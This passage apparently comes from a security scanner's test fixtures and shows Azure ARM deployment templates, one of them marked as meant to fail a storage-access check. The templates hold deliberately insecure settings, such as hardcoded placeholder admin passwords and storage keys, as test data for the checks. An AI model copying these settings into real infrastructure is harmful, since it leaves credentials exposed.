"Allow" } ], "defaultAction": "Deny" } } }, { "apiVersion": "2017-03-30", "type": "Microsoft.Compute/availabilitySets", "name": "as1", "location": "[parameters('location')]", "sku": { "name": "Aligned" }, "properties": { "platformFaultDomainCount": 2, "platformUpdateDomainCount": 2 } }, { "apiVersion": "2017-03-30", "type": "Microsoft.Compute/virtualMachines", "name": "[concat(variables('vmName'), copyIndex())]", "location": "[parameters('location')]", "dependsOn": [ "[concat('Microsoft.Storage/storageAccounts/', variables('storageAccountName'))]", "nicLoop", "Microsoft.Compute/availabilitySets/as1" ], "copy": { "name": "vmLoop", "count": 2 }, "properties": { "availabilitySet": { "id": "[resourceId('Microsoft.Compute/availabilitySets', 'as1')]" }, "hardwareProfile": { "vmSize": "[parameters('vmSize')]" }, "osProfile": { "computername": "[concat(variables('vmName'), copyIndex())]", "adminUsername": "[parameters('adminUserName')]", "adminPassword": "[parameters('adminPassword')]" }, "storageProfile": { "imageReference": { "publisher": "MicrosoftWindowsServer", "offer": "WindowsServer", "sku": "2016-Datacenter", "version": "latest" }, "osDisk": { "createOption": "FromImage", "managedDisk": { "storageAccountType": "Standard_LRS" } }, "dataDisks": [] }, "networkProfile": { "networkInterfaces": [ { "id": "[resourceId('Microsoft.Network/networkInterfaces', concat('nic',copyIndex()))]" } ] } } } ] } ================================================ FILE: tests/arm/checks/resource/example_StorageAccountAzureServicesAccessEnabled/storageAccountAzureServicesAccessEnabled-FAILED2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-03-01-hybrid/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "adminUsername": { "type": "string", "metadata": { "description": "Admin username" } }, "adminPassword": { "type": "securestring", "metadata": { "description": "Admin password" } }, "a": { "type": "string" }, "b": { "type": "string" }, "c": { "type": "string" }, "e": { "type": "string" }, "f": { "type": "string" }, "g": { "type": "string" }, "h": { "type": "string" }, "location": { "type": "string" }, "pwd": { "type": "string" }, "wsName": { "type": "string" }, "BEvirtualMachineNames": { "type": "string" }, "BEsubnetIPPrefix": { "type": "string" }, "BEnicStartingAddress": { "type": "string" }, "onPremDNSServers": { "type": "string" }, "metadata": { "type": "string" }, "sku": { "type": "string" }, "batchSize": { "type": "string" }, "dnsLabelPrefix": { "type": "string" }, "keyvaultSettings": { "type": "string" }, "keyvaultSecrets": { "type": "string" }, "newZoneName": { "type": "string" }, "nt0InstanceCount": { "type": "string" }, "newAccountName": { "type": "string" }, "storageAccountId": { "type": "string" }, "newRecordName": { "type": "string" }, "d": { "type": "string" } }, "variables": { "loadBalancerName": { "type": "string", "metadata": { "description": "This is the name of the load balancer" } }, "publicIPAddressID1": "123", "nt0fabricTcpGatewayPort": "3000", "nt0fabricHttpGatewayPort": "3000", "lbIPName": "loadbalancerIPName", "vmNodeType0Name": "virtualMachineName", "importExportJobName": "ieJobName" }, "outputs": { "out1": { "type": "secureObject", "value": { "abc": "val1" } } }, "apiProfile": "2018-06-01-profile", "resources": [ { "type": "Microsoft.Network/trafficManagerProfiles", "apiVersion": "2015-11-01", "name": "a", "location": "global", "properties": { "dnsConfig": { "relativeName": "a", "ttl": "[trim('a')]", "fqdn": "a" }, "monitorConfig": { "path": "a", "port": 80, "protocol": "HTTP" }, "trafficRoutingMethod": "Performance" } }, { "type": "Microsoft.Network/trafficManagerProfiles", "apiVersion": "2015-11-01", "name": "a", "location": "global", "properties": { "dnsConfig": { "relativeName": "a", "ttl": "[trim('a')]", "fqdn": "a" }, "monitorConfig": { "path": "a", "port": 80, "protocol": "HTTP" }, "trafficRoutingMethod": "Performance" } }, { "type": "Microsoft.Cdn/profiles", "apiVersion": "2015-06-01", "name": "b", "location": "Korea South", "properties": { "accessPolicies": [], "sku": {} } }, { "type": "Microsoft.DataLakeAnalytics/accounts", "apiVersion": "2015-10-01-preview", "location": "Australia East", "name": "DataLakeAnalyticsTest", "properties": { "dataLakeStoreAccounts": [], "defaultDataLakeStoreAccount": "[parameters('b')]", "storageAccounts": [ { "name": "storageaccounttest", "properties": { "accessKey": "asb" } } ] } }, { "type": "Microsoft.DataLakeStore/accounts", "apiVersion": "2015-10-01-preview", "location": "Australia East", "name": "b", "properties": { "defaultGroup": "parameters('b')", "firewallRules": [ { "name": "dfadf", "properties": { "endIpAddress": "1.0.0.0", "startIpAddress": "1.0.0.0" } } ], "firewallState": "Enabled" } }, { "type": "Microsoft.Scheduler/jobCollections", "apiVersion": "2014-08-01-preview", "name": "a", "location": "Central India", "properties": { "sku": { "name": "Free" } } }, { "type": "Microsoft.DevTestLab/labs/virtualmachines", "apiVersion": "2015-05-21-preview", "name": "[ parameters('b') ]", "location": "parameters('c')]", "properties": { "labSubnetName": "daf", "labVirtualNetworkId": "dafda", "size": "afadfa" } }, { "type": "Microsoft.ContainerService/containerServices", "apiVersion": "2016-03-30", "location": "Australia East", "name": "a", "properties": { "agentPoolProfiles": [ { "count": "[parameters('c')]", "dnsPrefix": "dafaf", "name": "a", "vmSize": "Standard_A0" } ], "linuxProfile": { "adminUsername": "a", "ssh": { "publicKeys": [ { "keyData": "afdaf" } ] } }, "masterProfile": { "count": 1, "dnsPrefix": "afdaf" }, "orchestratorProfile": { "orchestratorType": "Swarm" } } }, { "type": "Microsoft.PowerBI/workspaceCollections", "name": "[parameters('a')]", "apiVersion": "2016-01-29", "location": "[parameters('a')]", "sku": { "name": "S1", "tier": "Standard" } }, { "type": "Microsoft.Network/dnszones", "apiVersion": "2015-05-04-preview", "name": "adf", "location": "abcd", "properties": { "maxNumberOfRecordSets": "[parameters('b')]" }, "tags": { "a": "n" } }, { "type": "Microsoft.Batch/batchAccounts/applications", "apiVersion": "2015-12-01", "name": "dafdaf", "location": "dfadafd", "tags": { "c": "cac" } }, { "type": "Microsoft.Batch/batchAccounts", "apiVersion": "2015-12-01", "location": "Australia East", "name": "dafdaf", "tags": { "c": "cac" }, "properties": { "autoStorage": { "storageAccountId": "afdafa" } } }, { "type": "Microsoft.CognitiveServices/accounts", "apiVersion": "2016-02-01-preview", "kind": "ComputerVision", "location": "Australia East", "name": "adfad", "sku": { "name": "S0" }, "properties": {} }, { "type": "Microsoft.Cdn/profiles", "apiVersion": "2015-06-01", "name": "[parameters('c')]", "location": "Australia Southeast", "properties": { "sku": { "name": "Premium" } } }, { "type": "Microsoft.Storage/storageAccounts", "apiVersion": "2016-01-01", "kind": "BlobStorage", "name": "cdsdf", "location": "Australia East", "sku": { "name": "Premium_LRS" } }, { "type": "Microsoft.Automation/automationAccounts/runbooks", "apiVersion": "2015-10-31", "name": "daf", "location": "Australia East", "properties": { "publishedContentLink": "afdaf", "runbookType": "Graph" } }, { "type": "Microsoft.Automation/automationAccounts/modules", "apiVersion": "2015-10-31", "name": "adfdaf", "location": "Australia East", "properties": { "contentLink": { "uri": "afda", "contentHash": { "algorithm": "afd", "value": "afdaf" } } } }, { "type": "Microsoft.DevTestLab/labs", "apiVersion": "2016-05-15", "name": "adfa", "properties": { "defaultStorageAccount": "abc", "labStorageType": "Premium" }, "resources": [ { "type": "virtualmachines", "apiVersion": "2016-05-15", "name": "ljkio", "properties": { "notes": "bcde", "isAuthenticationWithSshKey": true } } ] }, { "type": "Microsoft.DevTestLab/labs/artifactsources", "apiVersion": "2016-05-15", "name": "dss", "properties": { "displayName": "jldskl", "sourceType": "GitHub" } }, { "type": "Microsoft.Resources/deployments", "apiVersion": "2016-09-01", "name": "[parameters(concat('a-', copyIndex()))]", "properties": { "mode": "Incremental", "parametersLink": { "uri": "http://a.com/1", "contentVersion": "1.0.0.0" }, "templateLink": { "uri": "http://a.com/1", "contentVersion": "1.0.0.0" } }, "copy": { "count": 3, "name": "adfb" } }, { "apiVersion": "2016-09-01", "name": "nestedTemplate", "type": "Microsoft.Resources/deployments", "properties": { "mode": "Incremental", "template": { "$schema": "http://ryanstorage.blob.core.windows.net/fwlink/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": {}, "resources": [], "variables": {}, "outputs": { "result": { "value": "Hello World", "type": "string" } } } } }, { "type": "Microsoft.Network/dnszones", "apiVersion": "2015-05-04-preview", "name": "zonesWithChildResource", "properties": { "maxNumberOfRecordSets": 123, "numberOfRecordSets": 32 }, "resources": [ { "type": "TXT", "apiVersion": "2015-05-04-preview", "properties": {} } ] }, { "type": "Microsoft.Scheduler/jobCollections", "apiVersion": "2016-03-01", "name": "mycollection", "properties": {}, "resources": [ { "name": "jobs", "type": "jobs", "apiVersion": "2016-03-01", "properties": {} } ] }, { "type": "Microsoft.Logic/workflows", "apiVersion": "2015-02-01-preview", "name": "myflow", "properties": { "state": "Enabled", "parameters": { "para1": { "type": "Array", "value": {} } } } }, { "type": "Microsoft.RecoveryServices/vaults", "apiVersion": "2016-06-01", "name": "vaults", "location": "East US", "sku": { "name": "RS0", "tier": "Standard" }, "properties": { "prop1": "val1" }, "tags": { "additional": "value" } }, { "type": "Microsoft.Media/mediaServices", "apiVersion": "2015-10-01", "name": "sfdsfw", "location": "East US", "properties": { "storageAccounts": [ { "id": "123", "isPrimary": false } ] } }, { "type": "Microsoft.Cache/Redis", "name": "redis", "location": "East US", "apiVersion": "2016-04-01", "properties": { "sku": { "name": "Basic", "capacity": 15, "family": "C" }, "shardCount": 30, "tenantSettings": { "set1": "abc" }, "subnetId": "/subscriptions/123/resourceGroups/abc/providers/Microsoft.Network/virtualNetworks/abc/subnets/sub" } }, { "type": "Microsoft.MachineLearning/workspaces", "apiVersion": "2016-04-01", "location": "East US", "name": "[parameters('wsName')]", "properties": { "userStorageAccountId": "guid", "ownerEmail": "owner@machinelearning.com" } }, { "type": "Microsoft.Devices/IotHubs", "apiVersion": "2016-02-03", "location": "East US", "name": "myiot", "resourcegroup": "myRg", "subscriptionid": "mySubscriptionId", "properties": { "authorizationPolicies": [ { "keyName": "key1", "rights": "RegistryRead" } ], "eventHubEndpoints": { "prop1": { "partitionCount": 12, "retentionTimeInDays": 12 } }, "cloudToDevice": { "maxDeliveryCount": 99, "defaultTtlAsIso8601": "abc", "feedback": { "lockDurationAsIso8601": "123", "ttlAsIso8601": "33", "maxDeliveryCount": 33 } }, "operationsMonitoringProperties": { "events": { "abc": "Error", "ds": "Error, Information" } }, "ipFilterRules": [ { "filterName": "name", "action": "Accept", "ipMask": "192.168.1.1/24" } ] }, "sku": { "name": "F1", "capacity": 1 } }, { "apiVersion": "2017-06-01", "type": "Microsoft.Network/networkInterfaces", "name": "[concat(parameters('BEvirtualMachineNames')[copyIndex()],'-nic')]", "location": "[resourceGroup().location]", "copy": { "name": "BEnicLoop", "count": 1 }, "dependsOn": [], "properties": { "ipConfigurations": [ { "name": "ipconfig1", "properties": { "privateIPAllocationMethod": "Static", "privateIPAddress": "[concat(parameters('BEsubnetIPPrefix'),copyIndex(parameters('BEnicStartingAddress')))]", "subnet": { "id": "123" } } } ], "dnsSettings": { "dnsServers": "[skip(parameters('onPremDNSServers'), 3)]" } } }, { "type": "Microsoft.Network/dnszones", "apiVersion": "2016-04-01", "name": "myzones", "location": "Canada Central", "properties": {} }, { "type": "Microsoft.Logic/workflows", "apiVersion": "2016-06-01", "name": "myflows", "properties": { "state": "Suspended", "sku": { "name": "NotSpecified", "plan": { "id": "123" } }, "definition": { "prop1": "val1" }, "parameters": { "para1": { "type": "Bool", "value": {}, "metadata": "[parameters('metadata')]" } } } }, { "type": "Microsoft.Compute/virtualMachines/extensions", "apiVersion": "2016-03-30", "name": "myextension", "location": "East US", "properties": { "publisher": "publisher", "settings": {}, "type": "mytype", "typeHandlerVersion": "123", "autoUpgradeMinorVersion": "abc" } }, { "type": "Microsoft.Compute/virtualMachines/extensions", "apiVersion": "2016-04-30-preview", "name": "myextension", "location": "East US", "properties": { "publisher": "publisher", "settings": {}, "type": "mytype", "typeHandlerVersion": "123", "autoUpgradeMinorVersion": "abc" } }, { "type": "Microsoft.Compute/virtualMachines/extensions", "apiVersion": "2015-06-15", "name": "extension1", "location": "West US", "properties": { "publisher": "Microsoft.Azure.Diagnostics", "type": "IaaSDiagnostics", "typeHandlerVersion": "12", "autoUpgradeMinorVersion": true, "settings": { "xmlCfg": "123", "StorageAccount": "ba" }, "protectedSettings": { "storageAccountName": "storage", "storageAccountKey": "ljsfa;lj", "storageAccountEndPoint": "endpoint" } } }, { "name": "Test Name", "type": "Microsoft.Compute/virtualMachines/extensions", "location": "Canada East", "tags": {}, "apiVersion": "2015-06-15", "properties": { "publisher": "Microsoft.Azure.RecoveryServices", "type": "VMSnapshot", "typeHandlerVersion": "Test Type Handler Version", "autoUpgradeMinorVersion": true, "settings": { "locale": "test locale", "taskId": "test id", "commandToExecute": "test cmd", "objectStr": "test objstr", "logsBlobUri": "test log uri", "statusBlobUri": "test blob uri", "commandStartTimeUTCTicks": "test cmd starttime", "vmType": "microsoft.compute/virtualmachines" } } }, { "name": "Test Name", "type": "Microsoft.Compute/virtualMachines/extensions", "location": "Canada East", "tags": {}, "apiVersion": "2015-06-15", "properties": { "publisher": "Microsoft.Azure.NetworkWatcher", "type": "NetworkWatcherAgentWindows", "typeHandlerVersion": "123", "autoUpgradeMinorVersion": false, "settings": { "absURL": "abc" } } }, { "type": "Microsoft.Compute/virtualMachines/extensions", "apiVersion": "2016-04-30-preview", "name": "extension1", "location": "West US", "properties": { "publisher": "Microsoft.Azure.Diagnostics", "type": "IaaSDiagnostics", "typeHandlerVersion": "12", "autoUpgradeMinorVersion": true, "settings": { "xmlCfg": "123", "StorageAccount": "ba" }, "protectedSettings": { "storageAccountName": "storage", "storageAccountKey": "ljsfa;lj", "storageAccountEndPoint": "endpoint" } } }, { "name": "Test Name", "type": "Microsoft.Compute/virtualMachines/extensions", "location": "Canada East", "tags": {}, "apiVersion": "2016-04-30-preview", "properties": { "publisher": "Microsoft.Azure.RecoveryServices", "type": "VMSnapshot", "typeHandlerVersion": "Test Type Handler Version", "autoUpgradeMinorVersion": true, "settings": { "locale": "test locale", "taskId": "test id", "commandToExecute": "test cmd", "objectStr": "test objstr", "logsBlobUri": "test log uri", "statusBlobUri": "test blob uri", "commandStartTimeUTCTicks": "test cmd starttime", "vmType": "microsoft.compute/virtualmachines" } } }, { "name": "Test Name", "type": "Microsoft.Compute/virtualMachines/extensions", "location": "Canada East", "tags": {}, "apiVersion": "2016-04-30-preview", "properties": { "publisher": "Microsoft.Azure.NetworkWatcher", "type": "NetworkWatcherAgentWindows", "typeHandlerVersion": "123", "autoUpgradeMinorVersion": false } }, { "name": "Test Name", "type": "Microsoft.Compute/virtualMachines/extensions", "apiVersion": "2018-06-01", "location": "West Us", "properties": { "publisher": "Microsoft.Compute", "type": "CustomScriptExtension", "typeHandlerVersion": "Test Type Handler Version", "autoUpgradeMinorVersion": true, "settings": { "fileUris": [ "test file uri", "test file uri 2" ], "commandToExecute": "ls" } } }, { "name": "Test Name", "location": "West Us", "type": "Microsoft.Compute/virtualMachineScaleSets/extensions", "apiVersion": "2018-06-01", "properties": { "publisher": "Microsoft.OSTCExtensions", "type": "CustomScriptForLinux", "typeHandlerVersion": "Test Type Handler Version", "autoUpgradeMinorVersion": true, "settings": { "fileUris": [ "test file uri", "test file uri 2" ], "commandToExecute": "ls" }, "protectedSettings": { "commandToExecute": "ls", "storageAccountName": "Test Storage Account Name", "storageAccountKey": "Test Storage Account Key", "storageAccountEndPoint": "Test Storage Account End Point" } } }, { "type": "Microsoft.Compute/virtualMachines", "apiVersion": "2015-06-15", "location": "Canada East", "name": "virtualmachine", "properties": { "hardwareProfile": "[parameters('a')]", "storageProfile": "[parameters('b')]", "networkProfile": "[parameters('c')]", "diagnosticsProfile": { "bootDiagnostics": { "enabled": false, "storageUri": "uri" } } }, "resources": [ { "type": "extensions", "apiVersion": "2015-06-15", "name": "extension1", "location": "West US 2", "properties": { "publisher": "Microsoft.Azure.Diagnostics", "type": "IaaSDiagnostics", "typeHandlerVersion": "12", "autoUpgradeMinorVersion": true, "settings": { "xmlCfg": "123", "StorageAccount": "ba" }, "protectedSettings": { "storageAccountName": "storage", "storageAccountKey": "ljsfa;lj", "storageAccountEndPoint": "endpoint" } } }, { "type": "extensions", "apiVersion": "2015-06-15", "name": "myextension", "location": "West Central US", "properties": { "publisher": "publisher", "settings": {}, "type": "mytype", "typeHandlerVersion": "123", "autoUpgradeMinorVersion": "abc" } }, { "name": "Test Name", "type": "extensions", "location": "Australia East", "apiVersion": "2015-06-15", "properties": { "publisher": "Microsoft.Azure.RecoveryServices", "type": "VMSnapshotLinux", "typeHandlerVersion": "Test Type Handler Version", "autoUpgradeMinorVersion": true, "settings": { "locale": "test locale", "taskId": "test id", "commandToExecute": "test cmd", "objectStr": "test objstr", "logsBlobUri": "test log uri", "statusBlobUri": "test blob uri", "commandStartTimeUTCTicks": "test cmd starttime", "vmType": "microsoft.compute/virtualmachines" } } } ] }, { "type": "Microsoft.Compute/virtualMachines", "apiVersion": "2016-04-30-preview", "location": "Canada East", "name": "virtualmachine", "properties": { "hardwareProfile": "[parameters('a')]", "storageProfile": "[parameters('b')]", "networkProfile": "[parameters('c')]", "osProfile": { "fdsfdsfs": "123" } }, "resources": [ { "type": "extensions", "apiVersion": "2016-04-30-preview", "name": "extension1", "location": "West US 2", "properties": { "publisher": "Microsoft.Azure.Diagnostics", "type": "IaaSDiagnostics", "typeHandlerVersion": "12", "autoUpgradeMinorVersion": true, "settings": { "xmlCfg": "123", "StorageAccount": "ba" }, "protectedSettings": { "storageAccountName": "storage", "storageAccountKey": "ljsfa;lj", "storageAccountEndPoint": "endpoint" } } }, { "type": "extensions", "apiVersion": "2016-04-30-preview", "name": "myextension", "location": "West Central US", "properties": { "publisher": "publisher", "settings": {}, "type": "mytype", "typeHandlerVersion": "123", "autoUpgradeMinorVersion": "abc" } }, { "name": "Test Name", "type": "extensions", "location": "Australia East", "apiVersion": "2016-04-30-preview", "properties": { "publisher": "Microsoft.Azure.RecoveryServices", "type": "VMSnapshotLinux", "typeHandlerVersion": "Test Type Handler Version", "autoUpgradeMinorVersion": true, "settings": { "locale": "test locale", "taskId": "test id", "commandToExecute": "test cmd", "objectStr": "test objstr", "logsBlobUri": "test log uri", "statusBlobUri": "test blob uri", "commandStartTimeUTCTicks": "test cmd starttime", "vmType": "microsoft.compute/virtualmachines" } } } ] }, { "type": "Microsoft.Compute/virtualMachines", "apiVersion": "2018-06-01", "location": "Canada East", "name": "virtualmachine", "properties": { "hardwareProfile": "[parameters('a')]", "storageProfile": "[parameters('b')]", "networkProfile": "[parameters('c')]", "osProfile": { "fdsfdsfs": "123" } }, "resources": [ { "type": "extensions", "apiVersion": "2018-06-01", "name": "extension1", "location": "West US 2", "properties": { "publisher": "Microsoft.Azure.Diagnostics", "type": "IaaSDiagnostics", "typeHandlerVersion": "12", "autoUpgradeMinorVersion": true, "settings": { "xmlCfg": "123", "StorageAccount": "ba" }, "protectedSettings": { "storageAccountName": "storage", "storageAccountKey": "ljsfa;lj", "storageAccountEndPoint": "endpoint" } } }, { "type": "extensions", "apiVersion": "2018-06-01", "name": "myextension", "location": "West Central US", "properties": { "publisher": "publisher", "settings": {}, "type": "mytype", "typeHandlerVersion": "123", "autoUpgradeMinorVersion": "abc" } }, { "name": "Test Name", "type": "extensions", "location": "Australia East", "apiVersion": "2018-06-01", "properties": { "publisher": "Microsoft.Azure.RecoveryServices", "type": "VMSnapshotLinux", "typeHandlerVersion": "Test Type Handler Version", "autoUpgradeMinorVersion": true, "settings": { "locale": "test locale", "taskId": "test id", "commandToExecute": "test cmd", "objectStr": "test objstr", "logsBlobUri": "test log uri", "statusBlobUri": "test blob uri", "commandStartTimeUTCTicks": "test cmd starttime", "vmType": "microsoft.compute/virtualmachines" } } } ] }, { "type": "Microsoft.Compute/snapshots", "apiVersion": "2017-03-30", "name": "sets", "location": "West Central US", "properties": { "creationData": { "createOption": "Empty" } } }, { "type": "Microsoft.Compute/virtualMachines", "apiVersion": "2017-03-30", "name": "virtualMachines", "location": "West Central US", "sku": { "name": "name" }, "properties": { "VirtualMachineProperties": {} } }, { "type": "Microsoft.Compute/virtualMachines", "apiVersion": "2017-12-01", "name": "virtualMachines", "location": "West Central US", "sku": { "name": "name" }, "properties": { "VirtualMachineProperties": {} } }, { "type": "Microsoft.Compute/images", "apiVersion": "2017-12-01", "name": "images", "location": "West Central US", "sku": { "name": "name" }, "properties": { "additionalProperties": {} } }, { "type": "Microsoft.Compute/availabilitySets", "apiVersion": "2017-12-01", "name": "sets", "location": "West Central US", "sku": { "name": "name" }, "properties": { "additionalProperties": {} } }, { "type": "Microsoft.Compute/virtualMachines", "apiVersion": "2017-12-01", "name": "sets", "location": "West Central US", "sku": { "name": "name" }, "properties": { "additionalProperties": {} } }, { "type": "Microsoft.Compute/virtualMachineScaleSets/extensions", "apiVersion": "2017-12-01", "name": "sets", "location": "West Central US", "sku": { "name": "name" }, "properties": { "publisher": "samplePublisher", "type": "virtualMachineScaleSets/extensions", "typeHandlerVersion": "123", "settings": {} } }, { "type": "Microsoft.Compute/availabilitySets", "apiVersion": "2017-03-30", "name": "sets", "location": "West Central US", "sku": { "name": "name" }, "properties": { "additionalProperties": {} } }, { "type": "Microsoft.Compute/virtualMachines/extensions", "apiVersion": "2017-12-01", "name": "sets", "location": "West Central US", "sku": { "name": "name" }, "properties": { "publisher": "samplePublisher", "type": "virtualMachines/extensions", "typeHandlerVersion": "123", "settings": {} } }, { "type": "Microsoft.Compute/virtualMachineScaleSets", "apiVersion": "2018-06-01", "name": "sets", "location": "Japan East", "sku": { "name": "name" }, "properties": { "virtualMachineProfile": { "networkProfile": { "networkInterfaceConfigurations": [ { "id": "123", "name": "name", "properties": { "ipConfigurations": [ { "name": "123" } ] } } ] } } } }, { "type": "Microsoft.Compute/disks", "apiVersion": "2016-04-30-preview", "name": "mydisks", "location": "West US", "properties": { "creationData": { "createOption": "Copy" } } }, { "type": "Microsoft.Compute/images", "apiVersion": "2016-04-30-preview", "name": "myimages", "location": "East US", "properties": { "sourceVirtualMachine": { "id": "id11" } } }, { "type": "Microsoft.Compute/snapshots", "apiVersion": "2016-04-30-preview", "name": "myname", "location": "East US 2", "properties": { "creationData": { "createOption": "Copy" } } }, { "type": "Microsoft.Compute/availabilitySets", "apiVersion": "2016-04-30-preview", "name": "sets", "location": "Japan West", "properties": { "managed": true } }, { "type": "Microsoft.Compute/virtualMachineScaleSets", "apiVersion": "2016-04-30-preview", "name": "sets", "location": "Japan East", "sku": { "name": "name" }, "properties": { "virtualMachineProfile": { "networkProfile": { "networkInterfaceConfigurations": [ { "id": "123", "name": "name", "properties": { "ipConfigurations": [ { "name": "123" } ] } } ] } } } }, { "type": "Microsoft.MachineLearning/commitmentPlans", "apiVersion": "2016-05-01-preview", "name": "myplans", "location": "West Central US", "sku": { "name": "mysku", "tier": "12", "capacity": 12 } }, { "type": "Microsoft.CognitiveServices/accounts", "apiVersion": "2016-02-01-preview", "name": "myaccounts", "sku": "[parameters('sku')]", "kind": "Face", "location": "Canada Central", "properties": { "prop1": "val1" } }, { "type": "Microsoft.EventHub/namespaces", "apiVersion": "2015-08-01", "name": "eventhubNamespaces", "location": "Central US", "sku": { "name": "Basic", "tier": "Basic" }, "properties": { "status": "Active", "enabled": false }, "resources": [ { "type": "eventhubs", "apiVersion": "2015-08-01", "location": "Canada East", "name": "23", "properties": { "status": "Creating" } }, { "type": "AuthorizationRules", "apiVersion": "2015-08-01", "location": "Canada East", "name": "234", "properties": { "rights": [ "Manage" ] } } ] }, { "type": "Microsoft.EventHub/namespaces/AuthorizationRules", "apiVersion": "2015-08-01", "name": "rules", "location": "East Asia", "properties": { "rights": [ "Listen", "Manage" ] } }, { "type": "Microsoft.ServiceBus/namespaces", "apiVersion": "2015-08-01", "location": "Canada Central", "name": "fds123", "sku": { "tier": "Premium" }, "properties": { "status": "Creating" }, "resources": [ { "type": "queues", "apiVersion": "2015-08-01", "name": "234", "location": "Canada Central", "properties": {}, "resources": [ { "type": "authorizationRules", "apiVersion": "2015-08-01", "location": "West US", "name": "jlk", "properties": { "rights": [ "Listen" ] } } ] } ] }, { "type": "Microsoft.ServiceBus/namespaces/topics/subscriptions", "apiVersion": "2015-08-01", "name": "123", "location": "Central US", "properties": { "requiresSession": true } }, { "type": "Microsoft.Resources/deployments", "apiVersion": "2016-09-01", "name": "[parameters('a')]", "properties": { "template": {}, "parameters": {}, "mode": "Complete" } }, { "apiVersion": "2016-09-01", "name": "nestedTemplate", "type": "Microsoft.Resources/deployments", "properties": { "mode": "Incremental", "template": { "$schema": "http://ryanstorage.blob.core.windows.net/fwlink/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": {}, "resources": [], "variables": {}, "outputs": { "result": { "value": "Hello World", "type": "string" } } } } }, { "apiVersion": "2017-05-10", "name": "nestedTemplate", "type": "Microsoft.Resources/deployments", "subscriptionId": "aa", "resourceGroup": "myRG", "copy": { "name": "copy1", "count": 12, "mode": "Serial", "batchSize": "[parameters('batchSize')]" }, "condition": true, "properties": { "mode": "Incremental", "template": { "$schema": "http://ryanstorage.blob.core.windows.net/fwlink/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": {}, "resources": [], "variables": {}, "outputs": { "result": { "value": "Hello World", "type": "string" } } } } }, { "name": "deploymentsSample", "apiVersion": "2016-09-01", "type": "Microsoft.Resources/deployments", "mode": "Incremental", "properties": { "mode": "Incremental" } }, { "apiVersion": "2018-05-01", "name": "resourceGroupsSample", "type": "Microsoft.Network/dnsZones", "location": "West US", "properties": { "level": "", "ResourceGroupProperties": {} } }, { "apiVersion": "2016-09-01", "name": "validLock", "type": "Microsoft.ServiceFabric/clusters", "location": "West US", "properties": { "managementEndpoint": "", "nodeTypes": [], "level": "CanNotDelete", "notes": "test note" } }, { "type": "Microsoft.ApiManagement/service", "name": "myservice", "apiVersion": "2016-07-07", "location": "Canada East", "sku": { "name": "Standard", "capacity": 1 }, "properties": { "publisherName": "admin@live.com", "publisherEmail": "abc" } }, { "type": "Microsoft.AnalysisServices/servers", "apiVersion": "2016-05-16", "name": "myservers", "location": "West US", "sku": { "name": "S1" }, "properties": { "asAdministrators": { "members": [ "abc" ] } } }, { "type": "Microsoft.ServiceFabric/clusters", "apiVersion": "2016-09-01", "name": "Microsoft.ServiceFabric/clusters", "location": "West US", "properties": { "nodeTypes": [ { "vmInstanceCount": 12, "name": "name", "clientConnectionEndpointPort": 443, "httpGatewayEndpointPort": 443, "isPrimary": true } ], "managementEndpoint": "https://abc.com" } }, { "type": "Microsoft.MachineLearning/webServices", "apiVersion": "2016-05-01-preview", "name": "myservice", "location": "East Asia", "properties": { "packageType": "Graph", "title": "abc", "package": { "nodes": { "prop1": { "assetId": "123" } } } } }, { "type": "Microsoft.Search/searchServices", "apiVersion": "2015-08-19", "location": "Central US", "sku": { "name": "standard" }, "name": "abc", "properties": { "hostingMode": "highDensity", "replicaCount": 10, "partitionCount": 12, "location": "West US" } }, { "type": "Microsoft.ContainerRegistry/registries", "apiVersion": "2016-06-27-preview", "name": "name", "location": "Canada East", "properties": { "storageAccount": { "name": "abc", "accessKey": "key" }, "adminUserEnabled": true } }, { "type": "Microsoft.Network/trafficManagerProfiles", "apiVersion": "2017-03-01", "name": "profile1", "location": "global", "properties": { "profileStatus": "Enabled", "trafficRoutingMethod": "Geographic", "dnsConfig": { "relativeName": "name1", "ttl": 120 }, "monitorConfig": { "protocol": "HTTPS", "port": 443, "path": "/healthprobe" } } }, { "type": "Microsoft.Insights/actionGroups", "apiVersion": "2017-03-01-preview", "name": "ag1", "location": "UK West", "properties": { "enabled": true, "groupShortName": "name1" } }, { "type": "Microsoft.Sql/servers", "apiVersion": "2014-04-01", "name": "server1", "location": "Japan West", "properties": { "administratorLogin": "aaa", "administratorLoginPassword": "password" }, "resources": [ { "type": "administrators", "apiVersion": "2014-04-01", "name": "activeDirectory", "properties": { "administratorType": "ActiveDirectory", "login": "myuser", "sid": "00000000-1111-2222-3333-444444444444", "tenantId": "00000000-1111-2222-3333-444444444444" } } ] }, { "type": "Microsoft.Sql/servers", "apiVersion": "2014-04-01", "name": "server1", "location": "Japan West", "properties": { "administratorLogin": "aaa", "administratorLoginPassword": "password" }, "resources": [ { "type": "databases", "apiVersion": "2014-04-01", "name": "admin1", "location": "west us", "properties": {} } ] }, { "type": "Microsoft.Sql/servers", "apiVersion": "2015-05-01-preview", "name": "sql", "location": "west us", "properties": { "administratorLogin": "mylogin", "administratorLoginPassword": "mypa$$w0rd" } }, { "type": "Microsoft.Network/routeTables", "apiVersion": "2017-03-01", "name": "table", "location": "West US", "properties": { "routes": [ { "name": "name1", "properties": { "addressPrefix": "aaa", "nextHopType": "Internet" } } ] } }, { "type": "Microsoft.Network/publicIPAddresses", "apiVersion": "2016-06-01", "name": "ip1", "location": "Brazil South", "properties": { "publicIPAllocationMethod": "Dynamic" } }, { "type": "Microsoft.Solutions/appliances", "name": "[parameters('dnsLabelPrefix')]", "apiVersion": "2016-09-01-preview", "kind": "ServiceCatalog", "location": "[resourceGroup().location]", "properties": { "applianceDefinitionId": "/subscriptions/d05f4e58-b80d-4ebd-a6d7-c9cac216cd39/resourceGroups/EuapAppDefs/providers/Microsoft.Solutions/applianceDefinitions/SinlgeVMBuildDemo", "managedResourceGroupId": "[concat('/subscriptions/', subscription().subscriptionId, '/resourceGroups/', resourceGroup().name, parameters('dnsLabelPrefix'), '-', uniqueString(concat(resourceGroup().name, parameters('dnsLabelPrefix'))))]", "parameters": { "adminUsername": { "value": "[parameters('adminUsername')]" }, "adminPassword": { "value": "[parameters('adminPassword')]" }, "dnsLabelPrefix": { "value": "[parameters('dnsLabelPrefix')]" } } } }, { "type": "Microsoft.Solutions/applianceDefinitions", "name": "[parameters('dnsLabelPrefix')]", "apiVersion": 